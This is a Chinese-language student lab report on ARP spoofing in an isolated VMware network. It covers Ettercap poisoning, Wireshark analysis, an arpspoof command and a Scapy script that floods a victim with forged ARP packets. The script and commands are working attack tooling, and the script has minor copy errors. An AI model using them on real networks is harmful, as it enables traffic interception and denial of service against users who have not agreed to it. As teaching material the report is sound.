实验4:ARP欺骗

1. 实验内容

  1. 运行WinArpAttacker或Ettercap,通过WireShark等抓包工具,捕获ARP欺骗攻击的数据包,分析ARP攻击的原理。
  2. 基于Winpcap(或其它网络开发包Libpcap/Jpcap/Scapy等)编写程序,对指定的目标IP地址进行ARP欺骗攻击。

2. 实验要求

  1. 明确提出自己的方案设计。
  2. 实验结果需要截图证明。
  3. 列出核心代码,并给出注释。

3. 实验过程

步骤1:环境搭建

        本次实验用到攻击主机Kali和被攻击主机Win7两台虚拟机,并在VMware虚拟机->设置->网络配适器中将网络连接改为NAT模式。

另外,在编辑->虚拟网络编辑器->更改设置->NAT设置中对NAT网络进行设置。

        虚拟机使用NAT模式联网后,将会用虚拟网关与各虚拟机和物理机相链接组成一个虚拟局域网,在物理机上对应为VMware Network Adapter VMnet8的网络配适器信息。查看网卡信息。

物理机

Kali

Win7

步骤2:Ettercap的使用

在Kali应用程序中搜索ettercap,并点击打开运行,需要输入密码获取权限。

选择网卡,确认进入应用界面。

之后点击Scan for hosts扫描主机,再点击Hosts List列出扫描结果。

        可以看到192.168.223.1/2/134分别对应对应物理机、网关、Win7的IP地址和MAC地址,另外的主机对应未涉及到实验的其他虚拟机。

arp -a查看Win7的ARP缓存表。

分别将网关和Win7虚拟机添加为Target1和Target2

选择ARP poisoning

        再回到Win7中查看ARP缓存表,可以发现192.168.223.2192.168.223.134对应的MAC地址被替换成00-0c-29-2c-1a-1c其为Kali的MAC地址

在Kali中打开新命令行,输入wireshark运行并抓包,在过滤器中输入arp检索出所有ARP包。

        可以看到第177行,Kali向网关询问192.168.223.134Win7的MAC地址,因为之前的攻击更改了网关的ARP缓存表,所以网关将Kali的MAC地址当做Win7的MAC地址进行发送。第178行,Kali向Win7询问192.168.223.2网关的MAC地址,同理返回的为攻击更改后的Kali的MAC地址,由此实现了一次中间人攻击。

        当之后进行TCP/IP包文发送时其中的MAC地址发生错误,从而将不应发送给攻击者的包发送了出去。

步骤3:arpspoof攻击

1
arpspoof -i eth0 -t 192.168.223.2 192.168.223.130
  • 需要在root权限下运行,或者在最前面加上sudo
  • -i:指定网卡。
  • -t:后面参数可为IP或者域名,第一个参数是要欺骗的主机(网关),第二个参数是要伪装成的主机。

命令执行后到Win7主机中尝试ping外网,发现找不到主机。

步骤4:Scapy攻击

安装Scapy

1
pip install scapy

在Win7中尝试ping通外网,并查看ARP缓存表。

创建python脚本文件,写入以下代码后运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ding:utf-8
from scapy.all import *
target_ip = "192.168.223.134" #win7 受害主机ip
loacal_ip = "192.168.223.133"
gateway_ip = "192.168.223.2"
#获取mac地址
target_mac = getmacbyip(target_ip)
loacal_mac = get_if_hwaddr("eth0")
gateway_mac = getmacbyip(gateway_ip)
#arp包中的参数
#op 接收包数
#hwsrc 攻击者的Mac地址
#psrc 网关的ip地址
#hwdst 受害者的Mac地址
#pdst 受害者的ip地址
#以太网的参数
#dst 目的MAC
#src 源MAC
#/用来连接
pack =Ether(dst = target_mac, src = loacal_mac)/ARP(op = 1, hwsrc = loacal_mac,
psrc = gateway_ip, hwdst = target_mac, pdst = target_ip)
#发送包
while 1:
sendp(pack, inter = 2, iface = "eth0")

        在Win7中尝试ping外网,可以看到攻击成功,显示找不到主机。不过,有时候可能会ping成功,其原因是网关也在不定时的发送ARP包,而此时恰好将Kali发出的ARP包覆盖,此时则能正常ping通。

Kali中利用wireshark进行抓包查看。

        可以看到Kali对Win7不断发送广播询问,并在ARP包中标识自己为网关IP,因此当Win7要去网关时,其ARP缓存表中记录的响应MAC地址为Kali的地址。